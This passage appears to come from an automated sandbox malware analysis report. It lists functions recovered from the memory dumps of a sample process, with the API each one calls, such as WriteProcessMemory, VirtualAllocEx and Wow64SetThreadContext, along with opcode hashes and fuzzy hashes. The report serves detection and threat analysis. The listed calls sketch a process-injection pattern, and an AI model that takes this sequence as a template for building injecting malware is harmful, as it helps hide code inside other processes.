Opcode Fuzzy Hash: 07a2d7a91d2d1ab7a7d547b2127ed8d439a4492f878c90a3cf2d299ed8b2c5ab
Instruction Fuzzy Hash: 2D813471D003598FDF50CFA9C8817EEBBF2BF48318F548529E818A7294E7B49881CB91

Function 06E91E71 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06E91F08

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a6779e73f083a4a033e5de1058764b423e89bdc35fa079194121140d4423d71b
Instruction ID: 741c52c6f5e875d3d52e634b1241e31ff59ecac14a3f0b564f247da93e1ee77e
Opcode Fuzzy Hash: a6779e73f083a4a033e5de1058764b423e89bdc35fa079194121140d4423d71b
Instruction Fuzzy Hash: A52146B19003499FCB10CFAAC881BEEBBF5FF48314F108429E918A7240C7789940CBA4

Function 06E91E78 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06E91F08

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a67a8bf49b02fc9c1878feba0f91cfeb681519b9efd2c1cc88ddcac201e6e9cf
Instruction ID: b783002b8e875a5d33d4a459d0c9e37de6b7da96b2790c04b22a22f3db35140e
Opcode Fuzzy Hash: a67a8bf49b02fc9c1878feba0f91cfeb681519b9efd2c1cc88ddcac201e6e9cf
Instruction Fuzzy Hash: D92124B59003499FCB10DFAAC985BEEBBF5FF48314F10842AE919A7240D7789944CBA4

Function 06E92580 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06E92606

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 101c89bafb13886d43ee6354f0aa11f94acaebcca202ceda1d6fce2ddcaa0c0f
Instruction ID: fe772e670eebcc1a7e247ee2bd0c3c186921338dd9280a0250ee4d6520ea585f
Opcode Fuzzy Hash: 101c89bafb13886d43ee6354f0aa11f94acaebcca202ceda1d6fce2ddcaa0c0f
Instruction Fuzzy Hash: C6217CB1D103089FCB10DFAAC485BEEBBF4EF48314F10842AD519A7241CB789A44CFA5

Function 06E92588 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06E92606

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ce8c2e0ff5e86b2dc11a4da28cd8e51228aaa09296bcd71b937ea19570868d86
Instruction ID: d7aa31b7dea9016751bd5108939ebead21626ba31d768541b2feb959fd938a19
Opcode Fuzzy Hash: ce8c2e0ff5e86b2dc11a4da28cd8e51228aaa09296bcd71b937ea19570868d86
Instruction Fuzzy Hash: 442149B1D103099FDB10DFAAC485BEEBBF4EF48314F108429D519A7241CB78AA44CFA5

Function 06EAD780 Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06EAD7FC

Memory Dump Source

Source File: 00000005.00000002.2386216821.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ea0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f54e784c6cddf024dc0a1df0cc7ec5cb8fb9500e356976bc835a5ca3039f6b8d
Instruction ID: e6250f94f4043f506ac9131f0d41ffbdd28553333ab670cc8187b1dd833bec20
Opcode Fuzzy Hash: f54e784c6cddf024dc0a1df0cc7ec5cb8fb9500e356976bc835a5ca3039f6b8d
Instruction Fuzzy Hash: E22139758003499FDB10DFAAC881AEEFBF5EF48320F108429D429A7240DB389545CFA1

Function 06C70301 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 06C7037C

Memory Dump Source

Source File: 00000005.00000002.2385136098.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c70000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5a1f109fbf87a93365dfa6cb9a14231f5bb2c6aa4badad5c404161c10bb8dcc9
Instruction ID: c82a8354cec6ea47f3e0e1b05192d524fee7b6d5c3cb196505b311f9de9805e0
Opcode Fuzzy Hash: 5a1f109fbf87a93365dfa6cb9a14231f5bb2c6aa4badad5c404161c10bb8dcc9
Instruction Fuzzy Hash: 302115B1D002489FCB20DFAAC884AEEFBF5FF48314F20842AD459A7250C7799945CFA1

Function 06EAD788 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06EAD7FC

Memory Dump Source

Source File: 00000005.00000002.2386216821.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ea0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0c26c1cb48daef680719d473cd00c107c69979ac85e8488ff631cccbf8a476c3
Instruction ID: 10bb2c109629f10d809b27ba2e76086c29f06d26bcb3169452002f41b26fe9fb
Opcode Fuzzy Hash: 0c26c1cb48daef680719d473cd00c107c69979ac85e8488ff631cccbf8a476c3
Instruction Fuzzy Hash: 842104B18003498EDB10DFAAC845AAEBBF5EF48324F508429D419A7240CB78A945CBA1

Function 06EAC6F1 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 06EAC767

Memory Dump Source

Source File: 00000005.00000002.2386216821.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ea0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d3d62acc9173d27367c7638e2f8f196845e6d2409b4baedb1b2a574946e919b5
Instruction ID: 62fe2eac73f777d9244dec0db44c1fc94c522f561f311aa1c394e47e3e129071
Opcode Fuzzy Hash: d3d62acc9173d27367c7638e2f8f196845e6d2409b4baedb1b2a574946e919b5
Instruction Fuzzy Hash: 0B116D719003598ACB10DFAAC845BEEFFF8EF48724F24841AD415A7280DB38A944CBA5

Function 06E92B8A Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06E92BFE

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c645e22cc5c2c2d46cc7fd901134f78ba93cb6edcd6d380564ce03b4a739485b
Instruction ID: d07a845fcbebe1995f0e185c2fbee85eb9fed42d2634520533de6f414eb86e43
Opcode Fuzzy Hash: c645e22cc5c2c2d46cc7fd901134f78ba93cb6edcd6d380564ce03b4a739485b
Instruction Fuzzy Hash: 04114775800249DFCF10DFAAC845AEEFBF5EF48314F108419E519A7250C7759540CBA5

Function 06C70308 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 06C7037C

Memory Dump Source

Source File: 00000005.00000002.2385136098.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c70000_IsNestedFamANDAssem.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 67046f29498d5cc514770fa5ee055a89a446a2acf842fb2c073d18a97c5e70c3
Instruction ID: 35df6fee3a49810fb245127b340cf3999f5788c67d3d882c8d8408ba29d2b505
Opcode Fuzzy Hash: 67046f29498d5cc514770fa5ee055a89a446a2acf842fb2c073d18a97c5e70c3
Instruction Fuzzy Hash: 441106B1D002499FCB10DFAAC884AEEFBF5FF48314F10842AD419A7250C779A944CFA1

Function 06EAC6F8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 06EAC767

Memory Dump Source

Source File: 00000005.00000002.2386216821.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6ea0000_IsNestedFamANDAssem.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0474f38c1e1da631e1f1c4d6dcc2d18b6a0518f7d6920efdc43630eb065e01f8
Instruction ID: dd41bb55ed32224f8256be59eeca6c45b4ab3e8ce37853a73d875a40a5b87cd4
Opcode Fuzzy Hash: 0474f38c1e1da631e1f1c4d6dcc2d18b6a0518f7d6920efdc43630eb065e01f8
Instruction Fuzzy Hash: 7C1137B19003498ADB10DFAAC845BEEFBF9AF49714F24841AD459A7240CB38A944CBA4

Function 06E92B90 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06E92BFE

Memory Dump Source

Source File: 00000005.00000002.2386173730.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e90000_IsNestedFamANDAssem.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 01bca5955c317202dd4e298b6f134bb149d9ba014699b88601b08b927fee5580
Instruction ID: bd2790399ea4bd5f383174bfa9de386dffe29eb5a0b83dc27ff9c53e3345f3df
Opcode Fuzzy Hash: 01bca5955c317202dd4e298b6f134bb149d9ba014699b88601b08b927fee5580
Instruction Fuzzy Hash: 741137719002499FCF10DFAAC845AEEBFF5EF48314F208419E519A7250C779A944CFA1

Function 016642B3 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

PH]q, xrefs: 016646B9

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 3f8fa22ea0578ec4f427c2228a107a1a330d9b3ff059bcecece58fd0ae06831f
Instruction ID: 19892c8a8fb7181786d3a29c29f9922e4fa08af8fdbe5e9394b13a8231217a44
Opcode Fuzzy Hash: 3f8fa22ea0578ec4f427c2228a107a1a330d9b3ff059bcecece58fd0ae06831f
Instruction Fuzzy Hash: 22C19E74906269CFEB64DF25CD88BADBBB5BB48301F0091EAD44AA3245DB745EC5CF80

Function 060996C4 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

%, xrefs: 060997A5

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 72a6dedd0600206992bc069fad34298d7374e9e26f9c8deeaa27443c6751029d
Instruction ID: cee821a4173d95d39accfca2c022159cd915495447ba9018c4c396b1e87289b7
Opcode Fuzzy Hash: 72a6dedd0600206992bc069fad34298d7374e9e26f9c8deeaa27443c6751029d
Instruction Fuzzy Hash: 7041BD74A402588FEBA4DF68C884BD9BBB2FB49304F1484A9D509B7240DB395EC98F60

Function 06099DB2 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

?, xrefs: 06099E45

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: 2636db4baf2350db725900b3eeb5dabb5d4d069fd62214d64f1ea60f88b57a13
Instruction ID: 5a3c393fc562200137026292d73d1699e038f38d2be5a082620783ddc84b8409
Opcode Fuzzy Hash: 2636db4baf2350db725900b3eeb5dabb5d4d069fd62214d64f1ea60f88b57a13
Instruction Fuzzy Hash: 1D419074945268CFDBA0CF64C884B9DBBB2BB49304F5484EAD509B7240DB395EC99F50

Function 06099FF2 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

/, xrefs: 0609A000

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 9fd8872440cc2a46933e7bdf3ba7fcd7c2bc9491797db77cc293645cf6e988fc
Instruction ID: e52785e602a0c974266d1b46cb0a0b2a1c97d1feec5a64336f41f245d64082e8
Opcode Fuzzy Hash: 9fd8872440cc2a46933e7bdf3ba7fcd7c2bc9491797db77cc293645cf6e988fc
Instruction Fuzzy Hash: 3941AE74A412588FDBA4DF58C884B99BBF2BB4A304F1484EAD50DB7250CB395EC9CF11

Function 06C91E8D Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

4']q, xrefs: 06C92659

Memory Dump Source

Source File: 00000005.00000002.2385221527.0000000006C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c90000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: b470b858083d7089bcc8de4a2e3b860666015a6ccbb4c451364420b68e0eabf1
Instruction ID: 360f74115e3a404782fab649337a214215ef7f2c19c68035165d3b557bd33f05
Opcode Fuzzy Hash: b470b858083d7089bcc8de4a2e3b860666015a6ccbb4c451364420b68e0eabf1
Instruction Fuzzy Hash: 55318974D0420ADFDF59CFAAD4086EEBBB1EF85311F1480AED491A7691C7380A81CFA0

Function 06C712E8 Relevance: 1.3, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06C7135B

Memory Dump Source

Source File: 00000005.00000002.2385136098.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c70000_IsNestedFamANDAssem.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6111b758e6916d3047bbe1ef206a0320dd466dc81ecad236bf0ad45d4a320c2a
Instruction ID: 9b11574d888aa139ccf6b847d9acafa41e0f3ba5cbbb78e13ee1f9f27c043a00
Opcode Fuzzy Hash: 6111b758e6916d3047bbe1ef206a0320dd466dc81ecad236bf0ad45d4a320c2a
Instruction Fuzzy Hash: 61115971800248CFCB20DFAAC844AEEFBF5EF48314F248419D969A7650C7359984CBA0

Function 06C712F0 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06C7135B

Memory Dump Source

Source File: 00000005.00000002.2385136098.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c70000_IsNestedFamANDAssem.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9300222ef97b783b22e9428c83441e85d2156bd8cc0702c5a1fa02f16094e5c7
Instruction ID: 24234ecdc2273a2f7bcaf92056c3741d80b061927ca87e2f2aaa592664f0d01d
Opcode Fuzzy Hash: 9300222ef97b783b22e9428c83441e85d2156bd8cc0702c5a1fa02f16094e5c7
Instruction Fuzzy Hash: FA1137759002488FCB10DFAAC844AEEFBF5EF48314F248419D519A7650C779A540CBA0

Function 07163BF9 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

", xrefs: 07163CA5

Memory Dump Source

Source File: 00000005.00000002.2386674114.0000000007160000.00000040.00000800.00020000.00000000.sdmp, Offset: 07160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7160000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 172f3b7dc674bfafdab696c3a9f8295da05960cf80bbbd76a03256d2b29bd7ba
Instruction ID: a2d38d233619fdadcdde3a4a9cfcdf3db203a304bb7c6358aeb11ff5322df66f
Opcode Fuzzy Hash: 172f3b7dc674bfafdab696c3a9f8295da05960cf80bbbd76a03256d2b29bd7ba
Instruction Fuzzy Hash: 7E11E8B8A412198FEB54DF28C884ACDB7F1FB4D704F0044E9D94DA3345DA349E848F05

Function 01664F16 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

9, xrefs: 01664F90

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: fdd04a2688d1986f473420e78ca9ef74cb3c19cfe81e9180ac46a651063cc99c
Instruction ID: f2af436ea18794fbbf7e42066aae9536800406411d5b4ec6f24b6727d92b8750
Opcode Fuzzy Hash: fdd04a2688d1986f473420e78ca9ef74cb3c19cfe81e9180ac46a651063cc99c
Instruction Fuzzy Hash: 580176749002688FEB61DF64DD48BDCBBB9BB49305F1045EADA0DB2294DB715AC6CF00

Function 06D72604 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

l, xrefs: 06D72612

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: 77aa203f17067b50a979534d7031bea8f52dc3f4d4af5618ddc77b92d9c23b99
Instruction ID: 9ede53d008a2fa6c241d097902d13435ea8b4cf41c5873b7113c6edc955b7b07
Opcode Fuzzy Hash: 77aa203f17067b50a979534d7031bea8f52dc3f4d4af5618ddc77b92d9c23b99
Instruction Fuzzy Hash: 6C0162B081122CCFDBA6DF54E884B9CB6F9BB08304F40559AE949A2280D7B55B84CF46

Function 060991CA Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

+, xrefs: 0609921C

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: a0786b5cfd9f817c44a8b1523df986c93cb838a7cef1cc2884b0af11bdc17846
Instruction ID: 01957e0f2fee29da08ab81e40c8209024e758c7e1f177c15290cba2dedc1e2e0
Opcode Fuzzy Hash: a0786b5cfd9f817c44a8b1523df986c93cb838a7cef1cc2884b0af11bdc17846
Instruction Fuzzy Hash: AFF0D438900118CFDB14DF24C948B9DBBB1FF89304F1881A9C80967351DB759E86CF01

Function 06D7A550 Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

9, xrefs: 06D7A72E

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 59d4be4c4bebece8e835b18077208f72a6cd733062dac1db6bb97866e77b057d
Instruction ID: 37bc8d481e6e62da41391b3fc843d8499c48e33b235fe88f85f71e968f41425d
Opcode Fuzzy Hash: 59d4be4c4bebece8e835b18077208f72a6cd733062dac1db6bb97866e77b057d
Instruction Fuzzy Hash: FDE012345053598FD7958F20DC94FAD777CEB01600F0415D2D44957155DA785F89CF12

Function 06D7A52D Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

9, xrefs: 06D7A72E

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 50f8f26b510b36a411658ddf77e8c290fe7c1bae986d263a09ebd4811412e35d
Instruction ID: 2d1179083a15ec0e20704580a694675bb1339a5d10dfb4c7927376f67d7b4550
Opcode Fuzzy Hash: 50f8f26b510b36a411658ddf77e8c290fe7c1bae986d263a09ebd4811412e35d
Instruction Fuzzy Hash: 25D092349013298FEBA5CF24DC94FA9B77CEB00701F0455A5D44967258EB749F89CF51

Function 06D75AB0 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d46061bde540bc7caa65939dcde0d091c09e5318f61400454bcf59382bf8853
Instruction ID: 9dd3c2e76ece19321f34f8ac8f0e4f42709021e85f00a2f802109638225176da
Opcode Fuzzy Hash: 7d46061bde540bc7caa65939dcde0d091c09e5318f61400454bcf59382bf8853
Instruction Fuzzy Hash: ED81D674D0521CCFDB94DFA9E484BEDBBB1FB48304F108529D4056B294EB74A945CF92

Function 01660870 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2367993349.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1660000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f74144a87d2620403cb49e3724ae2bffb149ae42b90e5f6a60af519f9688c9a3
Instruction ID: cf56c2cc8bd2598cc6c864983ced3a4add439bde300131314de1f1d4a9ab4615
Opcode Fuzzy Hash: f74144a87d2620403cb49e3724ae2bffb149ae42b90e5f6a60af519f9688c9a3
Instruction Fuzzy Hash: BF511530305204DFD7159B78D854A2A7BAAFF82304F1185BAF046CB365DB75AC07CBA2

Function 06097618 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7971702154a4385b227283d1e08a29a38f7aa9c5d548e39d5e54645387fc9b9
Instruction ID: c02b26c9b878d24e52869ffd54ec16f6e9c94a5094a865b7c503daa8a7c38b42
Opcode Fuzzy Hash: d7971702154a4385b227283d1e08a29a38f7aa9c5d548e39d5e54645387fc9b9
Instruction Fuzzy Hash: A871F074E56208CFEB94CFA9D840BADBBF2FB89304F1490A9D409A7251D7385A84CF51

Function 0609D64A Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1b0d22e3d867bb8c3365d7d1d3ab9fe9a1abc509c71c370e12455b6600f5ab7
Instruction ID: 046c80c0755a0ac7b8dfa47d590fbdc4f84bf3e44812aae78d55ddd14a3440a1
Opcode Fuzzy Hash: c1b0d22e3d867bb8c3365d7d1d3ab9fe9a1abc509c71c370e12455b6600f5ab7
Instruction Fuzzy Hash: A6513870D81608DFDB84DFA9D840A9DBBF2FF89310F148569E419B7640DB74A984DBA0

Function 0609FA98 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e021528561b9bcca96fc9cb718e5ac0174d21331f9491b6994db913f8f6f4749
Instruction ID: ffb9289823e5ad77d5c1cc366e47ee2abd7ac945f7cda80ddddae93a5e52d288
Opcode Fuzzy Hash: e021528561b9bcca96fc9cb718e5ac0174d21331f9491b6994db913f8f6f4749
Instruction Fuzzy Hash: 0B51D5B4D4120ACFDB84CFA9C484AEEBBF6FB49300F20942AD515A7350EB795985DF90

Function 06097694 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2964206d4bbfdaf85967e9b02329492bfac3c7d6ea5655ec83426fb7da985fe2
Instruction ID: 7fef5c5405fec085e146506ad03171c59ba7bbe797a61619fda478cfff04f672
Opcode Fuzzy Hash: 2964206d4bbfdaf85967e9b02329492bfac3c7d6ea5655ec83426fb7da985fe2
Instruction Fuzzy Hash: E851BE78E562088FEB94CF68D880BADBBF2FB89304F1494A9D419A7351D7385D84CF50

Function 06D75BE9 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2385789098.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d70000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 428989b1cba3a6dc16ec74986ca40b4f72f23fb8afe8755997e638125f4b5a0a
Instruction ID: 3c72eb69c79a255de333161d6737ce3d6032f253409cf188d03ac47877dd857f
Opcode Fuzzy Hash: 428989b1cba3a6dc16ec74986ca40b4f72f23fb8afe8755997e638125f4b5a0a
Instruction Fuzzy Hash: 3451D774D0520DCFEB94DFA9E484AEDBBB2FB88304F20812AD405A7254EB74A945CF52

Function 06097628 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6090000_IsNestedFamANDAssem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aee899e181cd9fb6bae9fc13928deff428873987dea9a5fd1c26c804b981cf8
Instruction ID: 040f4d3492205b9bc455b4f3a20073bc61f478c49064e153c97bf0063070af22
Opcode Fuzzy Hash: 3aee899e181cd9fb6bae9fc13928deff428873987dea9a5fd1c26c804b981cf8
Instruction Fuzzy Hash: 0551FE74E462088FEB94CF69D840BADBBF6FB89304F1490A9C419A7351DB381E88CF51

Function 060976F2 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2382607373.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

